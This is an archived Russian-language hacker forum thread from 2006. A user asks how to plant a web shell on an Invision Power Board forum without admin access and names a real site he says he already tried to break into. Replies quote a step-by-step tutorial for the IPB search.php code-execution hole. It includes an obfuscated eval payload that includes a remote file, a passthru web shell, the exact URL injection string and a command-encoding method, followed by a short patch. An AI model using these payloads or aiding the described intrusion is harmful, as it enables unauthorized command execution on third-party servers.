Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Заливка шелла в Ipb не имея доступа к админке... (https://forum.antichat.xyz/showthread.php?t=23926)

~Real F@ck!~ 13.09.2006 23:31

Заливка шелла в Ipb не имея доступа к админке...
 
Люди! Скажите на милость! Можно ли залить шелл в IPB v 2.0.4 не имея доступа к админке! Я как тока непытался несмог. И вообще реально ли это? :mad:

Diablo 13.09.2006 23:41

Насколько я знаю - нет. Если только что нибуть приватное есть...

Driver 14.09.2006 00:47

Можно! Но не факт что получится :)
Дай линк на форум - посмотрим...

Azazel 14.09.2006 00:54

Цитата:

Сообщение от ~Real F@ck!~
Люди! Скажите на милость! Можно ли залить шелл в IPB v 2.0.4 не имея доступа к админке! Я как тока непытался несмог. И вообще реально ли это? :mad:

Конечно есть, с выполнением php в поиске. Поищи, была большая тема.

~Real F@ck!~ 14.09.2006 11:47

Короче буду искать, а если кто найдёт раньше меня вылдожите плиз ссылку в этой теме и ещё линк форума http://forum.ferra.ru/

sunb0rn 14.09.2006 12:02

http://forum.antichat.ru/thread18222.html

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2

Driver 14.09.2006 12:03

Есть подозрение, что форум не 2.0.4...
Насчет взлома - вот статья:

Цитата:

Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
Давайте обратим внимание на эту строку (#95)

$text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).c hr(116).chr(112).
chr(58).chr(47).chr(47).chr(114).chr(115).chr(116) .chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53)’.
‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr (110).chr(99).chr(46).chr(116).
chr(120).chr(116))); //’;

Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
http://rst.void.ru/r57ipbinc.txt
А вот и содержание этого текстового файла:

<?
/*
r57ipbce exploit include file
*/
passthru($_GET[’eharniy_ekibastos’]);
?>

То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
Создаем сообщение, содержащее текст:

eval(phpinfo()); //

Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:

&lastdate=z|eval.*?%20//)%23e%00

Адресная строка браузера должна иметь приблизительно такой вид:

http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search _in=posts&result_type=posts&highlite=system&lastda te=z|eval.*?%20//)%23e%00

Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
Но нам нужен шелл.
Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.

Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:

this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Которое заменяем на:

$this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.

P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.

blackybr 14.09.2006 12:38

лоол =) ferra.ru - Он же эксибит )))) там не 2.0.4 =) там пропатченная 2.1.7 + допольнительно вручную скриптованная... ))

~Real F@ck!~ 14.09.2006 12:54

Блин я ломал его только хеш несмог расшифровать! А админ там уже примерно 3 года незаходит!

blackybr 14.09.2006 13:32

Цитата:

Блин я ломал его только хеш несмог расшифровать! А админ там уже примерно 3 года незаходит!
шутник?

а.. я понял.. ты один из тех арабов которые дэфили иксибит =)


Время: 21:29